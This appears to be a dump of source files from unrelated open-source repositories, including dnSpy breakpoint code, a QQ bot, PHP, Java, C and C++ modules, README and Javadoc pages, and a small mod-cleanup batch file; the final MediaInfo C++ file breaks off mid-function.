public override void Clear() => Dbg(() => RemoveCore(VisibleBreakpoints.ToArray()));
public override void UpdateIsDebugging_DbgThread(bool newIsDebugging) {
dbgDispatcherProvider.VerifyAccess();
List<DbgCodeBreakpointImpl> updatedBreakpoints;
lock (lockObj) {
if (isDebugging == newIsDebugging)
return;
isDebugging = newIsDebugging;
updatedBreakpoints = new List<DbgCodeBreakpointImpl>(breakpoints.Count);
foreach (var bp in breakpoints) {
bool updated = bp.WriteIsDebugging_DbgThread(isDebugging);
if (updated)
updatedBreakpoints.Add(bp);
}
}
foreach (var bp in updatedBreakpoints)
bp.RaiseBoundBreakpointsMessageChanged_DbgThread();
if (updatedBreakpoints.Count > 0)
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(updatedBreakpoints.ToArray())));
}
public override DbgBoundCodeBreakpoint[] AddBoundBreakpoints_DbgThread(IList<DbgBoundCodeBreakpoint> boundBreakpoints) {
dbgDispatcherProvider.VerifyAccess();
var dict = CreateBreakpointDictionary(boundBreakpoints);
var updatedBreakpoints = new List<(bool raiseMessageChanged, DbgCodeBreakpointImpl breakpoint, List<DbgBoundCodeBreakpoint> boundBreakpoints)>(dict.Count);
List<DbgBoundCodeBreakpoint>? unusedBoundBreakpoints = null;
lock (lockObj) {
foreach (var kv in dict) {
var bp = kv.Key;
if (breakpoints.Contains(bp)) {
bool raiseMessageChanged = bp.AddBoundBreakpoints_DbgThread(kv.Value);
updatedBreakpoints.Add((raiseMessageChanged, bp, kv.Value));
}
else {
if (unusedBoundBreakpoints is null)
unusedBoundBreakpoints = new List<DbgBoundCodeBreakpoint>();
unusedBoundBreakpoints.AddRange(kv.Value);
}
}
}
foreach (var info in updatedBreakpoints)
info.breakpoint.RaiseEvents_DbgThread(info.raiseMessageChanged, info.boundBreakpoints, added: true);
if (updatedBreakpoints.Count > 0)
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(updatedBreakpoints.Where(a => a.raiseMessageChanged).Select(a => a.breakpoint).ToArray())));
return unusedBoundBreakpoints?.ToArray() ?? Array.Empty<DbgBoundCodeBreakpoint>();
}
public override void RemoveBoundBreakpoints_DbgThread(IList<DbgBoundCodeBreakpoint> boundBreakpoints) {
dbgDispatcherProvider.VerifyAccess();
var dict = CreateBreakpointDictionary(boundBreakpoints);
var updatedBreakpoints = new List<(bool raiseMessageChanged, DbgCodeBreakpointImpl breakpoint, List<DbgBoundCodeBreakpoint> boundBreakpoints)>(dict.Count);
lock (lockObj) {
foreach (var kv in dict) {
var bp = kv.Key;
if (breakpoints.Contains(bp)) {
bool raiseMessageChanged = bp.RemoveBoundBreakpoints_DbgThread(kv.Value);
updatedBreakpoints.Add((raiseMessageChanged, bp, kv.Value));
}
}
}
foreach (var info in updatedBreakpoints)
info.breakpoint.RaiseEvents_DbgThread(info.raiseMessageChanged, info.boundBreakpoints, added: false);
if (updatedBreakpoints.Count > 0)
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(updatedBreakpoints.Where(a => a.raiseMessageChanged).Select(a => a.breakpoint).ToArray())));
}
static Dictionary<DbgCodeBreakpointImpl, List<DbgBoundCodeBreakpoint>> CreateBreakpointDictionary(IList<DbgBoundCodeBreakpoint> boundBreakpoints) {
int count = boundBreakpoints.Count;
var dict = new Dictionary<DbgCodeBreakpointImpl, List<DbgBoundCodeBreakpoint>>(count);
for (int i = 0; i < boundBreakpoints.Count; i++) {
var bound = boundBreakpoints[i];
var bpImpl = bound.Breakpoint as DbgCodeBreakpointImpl;
Debug.Assert(!(bpImpl is null));
if (bpImpl is null)
continue;
if (!dict.TryGetValue(bpImpl, out var list))
dict.Add(bpImpl, list = new List<DbgBoundCodeBreakpoint>());
list.Add(bound);
}
return dict;
}
public override DbgBoundCodeBreakpoint[] RemoveBoundBreakpoints_DbgThread(DbgRuntime runtime) {
dbgDispatcherProvider.VerifyAccess();
var list = new List<DbgBoundCodeBreakpoint>();
lock (lockObj) {
foreach (var bp in breakpoints) {
foreach (var boundBreakpoint in bp.BoundBreakpoints) {
if (boundBreakpoint.Runtime == runtime)
list.Add(boundBreakpoint);
}
}
}
var res = list.ToArray();
RemoveBoundBreakpoints_DbgThread(res);
return res;
}
internal void OnBoundBreakpointsMessageChanged_DbgThread(DbgCodeBreakpointImpl bp) {
dbgDispatcherProvider.VerifyAccess();
bp.RaiseBoundBreakpointsMessageChanged_DbgThread();
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(new[] { bp })));
}
}
}
| manojdjoshi/dnSpy | Extensions/dnSpy.Debugger/dnSpy.Debugger/Breakpoints/Code/DbgCodeBreakpointsServiceImpl.cs | C# | gpl-3.0 | 13,268 |
#-*- coding:utf-8 -*-
from findbilibili import *
#funtion name [checkinfo]
#判断要输出的回答
#param array 抓取的文字
#return string 回答
def checkinfo2(content):
content[1] = content[1].decode('gbk')
key = content[1].encode('utf-8')
if key == '节操':
return '这种东西早就没有了'
result = animation(key) #搜动漫
return result
#funtion name [animation]
#搜索动漫
#param array 动漫名字
#return string 最后更新网址
def animation(name):
url = bilibili(name)
try:
result = 'bilibili最后更新:第'+url[-1][0]+'集'+url[-1][1]
return result
except IndexError:
return '什么都找不到!' | cwdtom/qqbot | tom/check.py | Python | gpl-3.0 | 705 |
# umte
#### "uber minimal text editor"
A lightweight python gtk3 text editor.

## Features
* Basic text editor functionality
* Syntax highlighting
* Line numbers
* (in progress)Terminal bottom-window
## Requirements
* *Python 3.1 or higher*
* Gtk3 shtuff
| zevipa/umte | README.md | Markdown | gpl-3.0 | 301 |
<?
// If the form told us to generate a route or if this was a pending entry, re-generate a route.
if ($data[$key] == "generate" || (isset($edit_id) && !is_numeric($edit_id))) {
if ($options["not_unique"]) {
$value = $cms->urlify(strip_tags($data[$options["source"]]));
} else {
$oroute = $cms->urlify(strip_tags($data[$options["source"]]));
$value = $oroute;
$x = 2;
while (sqlrows(sqlquery("SELECT * FROM `".$form["table"]."` WHERE `$key` = '".sqlescape($value)."' AND id != '".sqlescape($_POST["id"])."'"))) {
$value = $oroute."-".$x;
$x++;
}
}
} else {
$no_process = true;
}
?> | matthisamoto/bigtreedemo | core/admin/form-field-types/process/route.php | PHP | gpl-3.0 | 620 |
@echo off
del /q res_mods\xvm\res\clanicons\RU\nick\programist434.png
del /q res_mods\xvm\res\clanicons\RU\nick\Morozochka.png
del /q res_mods\xvm\res\clanicons\RU\nick\gipof1s.png | malinin1991/wcaticon | clear.bat | Batchfile | gpl-3.0 | 180 |
# Network-Stream-Daemon
| broughtong/Network-Stream-Daemon | README.md | Markdown | gpl-3.0 | 24 |
/**
*
*/
package qa.AnswerFormation;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Queue;
import qa.IQuestion;
import qa.Utility;
/**
* @author Deepak
*
*/
public class AnswerGenerator implements IAnswerGenerator {
/**
*
* @param processedQuestionsQueue
*/
public AnswerGenerator(Queue<IQuestion> processedQuestionsQueue, List<IQuestion> processedQuestions) {
this.processedQuestionsQueue = processedQuestionsQueue;
this.processedQuestions = processedQuestions;
}
/**
*
*/
@Override
public void run() {
while(!processedQuestionsQueue.isEmpty() || !Utility.IsPassageRetrivalDone) {
IQuestion question = processedQuestionsQueue.poll();
if(question == null) continue;
HashSet<String> answers = new HashSet<String>();
for(String passage : question.getRelevantPassages()) {
List<String> output = new ArrayList<String>();
String passageWithoutKeywords = null;
String nerTaggedPassage = Utility.getNERTagging(passage);
String posTaggedPassage = Utility.getPOSTagging(passage);
output.addAll(getDataFromOutput(nerTaggedPassage, question.getAnswerTypes()));
output.addAll(getDataFromOutput(posTaggedPassage, question.getAnswerTypes()));
for(String answer : output) {
if(!question.getQuestion().toLowerCase().contains(answer.toLowerCase()) && !answers.contains(answer)) {
answers.add(answer);
passageWithoutKeywords = Utility.removeKeywords(answer, question.getKeywords());
question.addAnswer(passageWithoutKeywords);
}
}
}
for(String passage : question.getRelevantPassages()) {
List<String> output = new ArrayList<String>();
String passageWithoutKeywords = null;
if(answers.size() >= 10) break;
try{
output.addAll(Utility.getNounPhrases(passage, false));
} catch (Exception ex) {
System.out.println(ex.getMessage());
}
for(String answer : output) {
if(!question.getQuestion().toLowerCase().contains(answer.toLowerCase()) && !answers.contains(answer)) {
answers.add(answer);
passageWithoutKeywords = Utility.removeKeywords(answer, question.getKeywords());
question.addAnswer(passageWithoutKeywords);
}
}
}
// for(String answer : answers) {
// boolean flag = true;
// for(String answer1 : answers) {
// if(!answer.equals(answer1)) {
// if(answer1.toLowerCase().contains(answer.toLowerCase())) {
// flag = false;
// break;
// }
// }
// }
// if(flag) {
// question.addAnswer(answer);
// }
// }
this.processedQuestions.add(question);
}
AnswerWriter writer = new AnswerWriter("answer.txt");
writer.writeAnswers(processedQuestions);
}
/**
*
* @param output
* @param tagName
* @return
*/
private List<String> getDataFromOutput(String output, String tagName) {
List<String> answers = new ArrayList<String>();
StringBuilder temp = new StringBuilder();
String[] outputArray = output.split("[/_\\s]");
String[] tags = tagName.split("\\|");
for(String tag : tags) {
if(tag == null || tag.equals("")) continue;
String[] tagsArray = tag.split(":");
for(int arrayIndex = 1; arrayIndex < outputArray.length; arrayIndex+=2) {
if(outputArray[arrayIndex].trim().equals(tagsArray[1].trim())) {
temp.append(outputArray[arrayIndex - 1] + " ");
} else {
if(!temp.toString().equals("")) {
answers.add(temp.toString().trim());
}
temp = new StringBuilder();
}
}
if(!temp.toString().equals("") ) {
answers.add(temp.toString().trim());
}
}
return answers;
}
/**
*
*/
private Queue<IQuestion> processedQuestionsQueue;
private List<IQuestion> processedQuestions;
}
| ddeeps2610/NLP_PA2_QA | src/qa/AnswerFormation/AnswerGenerator.java | Java | gpl-3.0 | 3,904 |
/* gbp-flatpak-runner.h
*
* Copyright 2016-2019 Christian Hergert <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* SPDX-License-Identifier: GPL-3.0-or-later
*/
#pragma once
#include <libide-foundry.h>
G_BEGIN_DECLS
#define GBP_TYPE_FLATPAK_RUNNER (gbp_flatpak_runner_get_type())
G_DECLARE_FINAL_TYPE (GbpFlatpakRunner, gbp_flatpak_runner, GBP, FLATPAK_RUNNER, IdeRunner)
GbpFlatpakRunner *gbp_flatpak_runner_new (IdeContext *context,
const gchar *build_path,
IdeBuildTarget *build_target,
const gchar *manifest_command);
G_END_DECLS
| GNOME/gnome-builder | src/plugins/flatpak/gbp-flatpak-runner.h | C | gpl-3.0 | 1,307 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_25) on Wed Feb 01 21:06:23 MST 2012 -->
<TITLE>
API Help
</TITLE>
<META NAME="date" CONTENT="2012-02-01">
<LINK REL ="stylesheet" TYPE="text/css" HREF="stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="API Help";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Package</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Help</B></FONT> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="index.html?help-doc.html" target="_top"><B>FRAMES</B></A>
<A HREF="help-doc.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H1>
How This API Document Is Organized</H1>
</CENTER>
This API (Application Programming Interface) document has pages corresponding to the items in the navigation bar, described as follows.<H3>
Overview</H3>
<BLOCKQUOTE>
<P>
The <A HREF="overview-summary.html">Overview</A> page is the front page of this API document and provides a list of all packages with a summary for each. This page can also contain an overall description of the set of packages.</BLOCKQUOTE>
<H3>
Package</H3>
<BLOCKQUOTE>
<P>
Each package has a page that contains a list of its classes and interfaces, with a summary for each. This page can contain four categories:<UL>
<LI>Interfaces (italic)<LI>Classes<LI>Enums<LI>Exceptions<LI>Errors<LI>Annotation Types</UL>
</BLOCKQUOTE>
<H3>
Class/Interface</H3>
<BLOCKQUOTE>
<P>
Each class, interface, nested class and nested interface has its own separate page. Each of these pages has three sections consisting of a class/interface description, summary tables, and detailed member descriptions:<UL>
<LI>Class inheritance diagram<LI>Direct Subclasses<LI>All Known Subinterfaces<LI>All Known Implementing Classes<LI>Class/interface declaration<LI>Class/interface description
<P>
<LI>Nested Class Summary<LI>Field Summary<LI>Constructor Summary<LI>Method Summary
<P>
<LI>Field Detail<LI>Constructor Detail<LI>Method Detail</UL>
Each summary entry contains the first sentence from the detailed description for that item. The summary entries are alphabetical, while the detailed descriptions are in the order they appear in the source code. This preserves the logical groupings established by the programmer.</BLOCKQUOTE>
</BLOCKQUOTE>
<H3>
Annotation Type</H3>
<BLOCKQUOTE>
<P>
Each annotation type has its own separate page with the following sections:<UL>
<LI>Annotation Type declaration<LI>Annotation Type description<LI>Required Element Summary<LI>Optional Element Summary<LI>Element Detail</UL>
</BLOCKQUOTE>
</BLOCKQUOTE>
<H3>
Enum</H3>
<BLOCKQUOTE>
<P>
Each enum has its own separate page with the following sections:<UL>
<LI>Enum declaration<LI>Enum description<LI>Enum Constant Summary<LI>Enum Constant Detail</UL>
</BLOCKQUOTE>
<H3>
Use</H3>
<BLOCKQUOTE>
Each documented package, class and interface has its own Use page. This page describes what packages, classes, methods, constructors and fields use any part of the given class or package. Given a class or interface A, its Use page includes subclasses of A, fields declared as A, methods that return A, and methods and constructors with parameters of type A. You can access this page by first going to the package, class or interface, then clicking on the "Use" link in the navigation bar.</BLOCKQUOTE>
<H3>
Tree (Class Hierarchy)</H3>
<BLOCKQUOTE>
There is a <A HREF="overview-tree.html">Class Hierarchy</A> page for all packages, plus a hierarchy for each package. Each hierarchy page contains a list of classes and a list of interfaces. The classes are organized by inheritance structure starting with <code>java.lang.Object</code>. The interfaces do not inherit from <code>java.lang.Object</code>.<UL>
<LI>When viewing the Overview page, clicking on "Tree" displays the hierarchy for all packages.<LI>When viewing a particular package, class or interface page, clicking "Tree" displays the hierarchy for only that package.</UL>
</BLOCKQUOTE>
<H3>
Deprecated API</H3>
<BLOCKQUOTE>
The <A HREF="deprecated-list.html">Deprecated API</A> page lists all of the API that have been deprecated. A deprecated API is not recommended for use, generally due to improvements, and a replacement API is usually given. Deprecated APIs may be removed in future implementations.</BLOCKQUOTE>
<H3>
Index</H3>
<BLOCKQUOTE>
The <A HREF="index-files/index-1.html">Index</A> contains an alphabetic list of all classes, interfaces, constructors, methods, and fields.</BLOCKQUOTE>
<H3>
Prev/Next</H3>
These links take you to the next or previous class, interface, package, or related page.<H3>
Frames/No Frames</H3>
These links show and hide the HTML frames. All pages are available with or without frames.
<P>
<H3>
Serialized Form</H3>
Each serializable or externalizable class has a description of its serialization fields and methods. This information is of interest to re-implementors, not to developers using the API. While there is no link in the navigation bar, you can get to this information by going to any serialized class and clicking "Serialized Form" in the "See also" section of the class description.
<P>
<H3>
Constant Field Values</H3>
The <a href="constant-values.html">Constant Field Values</a> page lists the static final fields and their values.
<P>
<FONT SIZE="-1">
<EM>
This help file applies to API documentation generated using the standard doclet.</EM>
</FONT>
<BR>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Package</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Help</B></FONT> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="index.html?help-doc.html" target="_top"><B>FRAMES</B></A>
<A HREF="help-doc.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
</BODY>
</HTML>
| timofonic/PHDL | phdl-2.0/doc/help-doc.html | HTML | gpl-3.0 | 9,957 |
/*
bricks.h -- bricks module;
Copyright (C) 2015, 2016 Bruno Félix Rezende Ribeiro <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef MININIM_BRICKS_H
#define MININIM_BRICKS_H
/* dungeon vga */
#define DV_BRICKS_00 "data/bricks/dv-00.png"
#define DV_BRICKS_01 "data/bricks/dv-01.png"
#define DV_BRICKS_02 "data/bricks/dv-02.png"
#define DV_BRICKS_03 "data/bricks/dv-03.png"
/* palace vga */
#define PV_BRICKS_00 "data/bricks/pv-00.png"
#define PV_BRICKS_01 "data/bricks/pv-01.png"
void load_bricks (void);
void unload_bricks (void);
void draw_bricks_00 (ALLEGRO_BITMAP *bitmap, struct pos *p,
enum em em, enum vm vm);
void draw_bricks_01 (ALLEGRO_BITMAP *bitmap, struct pos *p,
enum em em, enum vm vm);
void draw_bricks_02 (ALLEGRO_BITMAP *bitmap, struct pos *p,
enum em em, enum vm vm);
void draw_bricks_03 (ALLEGRO_BITMAP *bitmap, struct pos *p,
enum em em, enum vm vm);
#endif /* MININIM_BRICKS_H */
| allisson128/mininim | src/bricks.h | C | gpl-3.0 | 1,596 |
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
__author__ = """Co-Pierre Georg ([email protected])"""
import sys
from src.paralleltools import Parallel
#-------------------------------------------------------------------------
#
# conftools.py is a simple module to manage .xml configuration files
#
#-------------------------------------------------------------------------
if __name__ == '__main__':
"""
VARIABLES
"""
args = sys.argv
config_file_name = args[1]
"""
CODE
"""
parallel = Parallel()
parallel.create_config_files(config_file_name)
| cogeorg/econlib | test_paralleltools.py | Python | gpl-3.0 | 601 |
---
layout: default
---
{{> h2 text='Clickdummy'}}
{{> h3 text='Lucom Formularmanager'}}
<ul>
<li>
<a href="site/referenzformular.html" title="Referenzformular">Referenzformular</a>
</li>
<li>
<a href="test.html" title="Testseite">Test</a>
</li>
</ul> | sgtmurtaugh/clickdummy-creator | skeletor.core/misc/src/pages/index.html | HTML | gpl-3.0 | 261 |
// File__Duplicate - Duplication of some formats
// Copyright (C) 2007-2012 MediaArea.net SARL, [email protected]
//
// This library is free software: you can redistribute it and/or modify it
// under the terms of the GNU Library General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Library General Public License for more details.
//
// You should have received a copy of the GNU Library General Public License
// along with this library. If not, see <http://www.gnu.org/licenses/>.
//
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//
// Duplication helper for some specific formats
//
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//---------------------------------------------------------------------------
// Pre-compilation
#include "MediaInfo/PreComp.h"
#ifdef __BORLANDC__
#pragma hdrstop
#endif
//---------------------------------------------------------------------------
//---------------------------------------------------------------------------
#include "MediaInfo/Setup.h"
//---------------------------------------------------------------------------
//---------------------------------------------------------------------------
#if defined(MEDIAINFO_AVC_YES)
//---------------------------------------------------------------------------
//---------------------------------------------------------------------------
#include "MediaInfo/Video/File_Avc.h"
#include "MediaInfo/MediaInfo_Config.h"
#include "MediaInfo/MediaInfo_Config_MediaInfo.h"
#include "ZenLib/ZtringList.h"
#include "ZenLib/File.h"
#include <cstring>
using namespace ZenLib;
using namespace std;
//---------------------------------------------------------------------------
namespace MediaInfoLib
{
//***************************************************************************
// Options
//***************************************************************************
//---------------------------------------------------------------------------
void File_Avc::Option_Manage()
{
#if MEDIAINFO_DUPLICATE
//File__Duplicate configuration
if (File__Duplicate_HasChanged())
{
//Autorisation of other streams
Streams[0x07].ShouldDuplicate=true;
}
#endif //MEDIAINFO_DUPLICATE
}
//***************************************************************************
// Set
//***************************************************************************
//---------------------------------------------------------------------------
#if MEDIAINFO_DUPLICATE
bool File_Avc::File__Duplicate_Set (const Ztring &Value)
{
ZtringList List(Value);
//Searching Target
bool IsForUs=false;
std::vector<ZtringList::iterator> Targets_ToAdd;
std::vector<ZtringList::iterator> Targets_ToRemove;
std::vector<ZtringList::iterator> Orders_ToAdd;
std::vector<ZtringList::iterator> Orders_ToRemove;
for (ZtringList::iterator Current=List.begin(); Current<List.end(); ++Current)
{
//Detecting if we want to remove
bool ToRemove=false;
if (Current->find(__T('-'))==0)
{
ToRemove=true;
Current->erase(Current->begin());
}
//Managing targets
if (Current->find(__T("file:"))==0
|| Current->find(__T("memory:"))==0)
(ToRemove?Targets_ToRemove:Targets_ToAdd).push_back(Current);
//Parser name
else if (Current->find(__T("parser=Avc"))==0)
IsForUs=true;
//Managing orders
else
(ToRemove?Orders_ToRemove:Orders_ToAdd).push_back(Current);
}
//For us?
if (!IsForUs)
return false;
//Configuration of initial values
frame_num_Old=(int32u)-1;
Duplicate_Buffer_Size=0;
SPS_PPS_AlreadyDone=false;
FLV=false;
//For each target to add
for (std::vector<ZtringList::iterator>::iterator Target=Targets_ToAdd.begin(); Target<Targets_ToAdd.end(); ++Target)
Writer.Configure(**Target);
//For each order to add
for (std::vector<ZtringList::iterator>::iterator Order=Orders_ToAdd.begin(); Order<Orders_ToAdd.end(); ++Order)
if ((**Order)==__T("format=Flv"))
FLV=true;
return true;
}
#endif //MEDIAINFO_DUPLICATE
//***************************************************************************
// Write
//***************************************************************************
#if MEDIAINFO_DUPLICATE
void File_Avc::File__Duplicate_Write (int64u Element_Code, int32u frame_num)
{
const int8u* ToAdd=Buffer+Buffer_Offset-(size_t)Header_Size+3;
size_t ToAdd_Size=(size_t)(Element_Size+Header_Size-3);
if (!SPS_PPS_AlreadyDone)
{
if (Element_Code==7)
{
std::memcpy(Duplicate_Buffer, ToAdd, ToAdd_Size);
Duplicate_Buffer_Size=ToAdd_Size;
}
else if (Element_Code==8)
{
// Form:
// 8 bytes : PTS
// 8 bytes : DTS
// 8 bytes : Size (without header)
// 1 byte : Type (0=Frame, 1=Header);
// 7 bytes : Reserved
size_t Extra;
if (FLV)
Extra=1; //FLV
else
Extra=0; //MPEG-4
int8u Header[32];
int64u2BigEndian(Header+ 0, FrameInfo.PTS);
int64u2BigEndian(Header+ 8, FrameInfo.DTS);
int64u2BigEndian(Header+16, 5+Extra+2+Duplicate_Buffer_Size+1+2+ToAdd_Size); //5+Extra for SPS_SQS header, 2 for SPS size, 1 for PPS count, 2 for PPS size
Header[24]=1;
int56u2BigEndian(Header+25, 0);
Writer.Write(Header, 32);
//SPS_PPS
int8u* SPS_SQS=new int8u[5+Extra];
if (Extra==1)
{
SPS_SQS[0]=0x01; //Profile FLV
SPS_SQS[1]=(!seq_parameter_sets.empty() && seq_parameter_sets[0])?seq_parameter_sets[0]->profile_idc:0x00; //Compatible Profile. TODO: Handling more than 1 seq_parameter_set
SPS_SQS[2]=0x00; //Reserved
}
else
{
SPS_SQS[0]=(!seq_parameter_sets.empty() && seq_parameter_sets[0])?seq_parameter_sets[0]->profile_idc:0x00; //Profile MPEG-4. TODO: Handling more than 1 seq_parameter_set
SPS_SQS[1]=0x00; //Compatible Profile
}
SPS_SQS[2+Extra]=(!seq_parameter_sets.empty() && seq_parameter_sets[0])?seq_parameter_sets[0]->level_idc:0x00; //Level. TODO: Handling more than 1 seq_parameter_set
SPS_SQS[3+Extra]=0xFF; //Reserved + Size of NALU length minus 1
SPS_SQS[4+Extra]=0xE1; //Reserved + seq_parameter_set count
Writer.Write(SPS_SQS, 5+Extra);
//NALU
int8u NALU[2];
NALU[0]=((Duplicate_Buffer_Size)>> 8)&0xFF;
NALU[1]=((Duplicate_Buffer_Size)>> 0)&0xFF;
Writer.Write(NALU, 2);
//SPS
Writer.Write(Duplicate_Buffer, Duplicate_Buffer_Size);
Duplicate_Buffer_Size=0;
//PPS count
SPS_SQS[0]=0x01; //pic_parameter_set count
Writer.Write(SPS_SQS, 1);
delete[] SPS_SQS;
//NALU
NALU[0]=((ToAdd_Size)>> 8)&0xFF;
NALU[1]=((ToAdd_Size)>> 0)&0xFF;
Writer.Write(NALU, 2);
//PPS
Writer.Write(ToAdd, ToAdd_Size);
SPS_PPS_AlreadyDone=true;
}
}
else if (frame_num!=(int32u)-1)
{
if (frame_num!=frame_num_Old && frame_num_Old!=(int32u)-1 && frame_num!=(int32u)-1)
{
// Form:
// 8 bytes : PTS
// 8 bytes : DTS
// 8 bytes : Size (without header)
